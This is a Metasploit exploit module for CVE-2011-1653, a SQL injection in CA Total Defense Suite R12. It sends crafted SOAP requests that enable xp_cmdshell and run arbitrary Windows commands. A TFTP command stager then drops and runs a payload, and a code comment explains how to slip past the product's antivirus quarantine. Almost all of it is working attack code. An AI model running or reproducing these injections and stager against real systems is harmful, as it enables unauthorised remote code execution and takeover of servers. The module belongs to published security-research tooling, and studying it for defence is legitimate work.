##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',
'Description' => %q{
This module exploits a SQL injection flaw in CA Total Defense Suite R12.
When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an
attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql
statements into the ReportIDs element.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '11-134' ],
[ 'OSVDB', '74968'],
[ 'CVE', '2011-1653' ],
],
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'CmdStagerFlavor' => 'tftp',
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => 'Apr 13 2011',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(34443),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})
# NOTE: This module was tested against the MS SQL Server 2005 Express bundled with
# CA Total Defense Suite R12. CA's Total Defense Suite real-time protection
# will quarantine the default framework executable payload. Choosing an alternate
# exe template will bypass the quarantine.
inject = [
"'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",
"'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",
"'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",
]
inject.each do |sqli|
soap = %Q|
msf
#{sqli}
187
|
res = send_request_cgi(
{
'uri' => '/UNCWS/Management.asmx',
'method' => 'POST',
'version' => '1.0',
'ctype' => 'application/soap+xml; charset=utf-8',
'data' => soap,
}, 5)
if ( res and res.body =~ /SUCCESS/ )
#print_good("Executing command...")
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
end
end
def exploit
if not datastore['CMD'].empty?
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'win'
windows_stager
else
fail_with(Failure::Unknown, 'Target not supported.')
end
handler
end
end
__END__
POST /UNCWS/Management.asmx HTTP/1.1
Host: 192.168.31.129
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length
string
string <--boom!!
long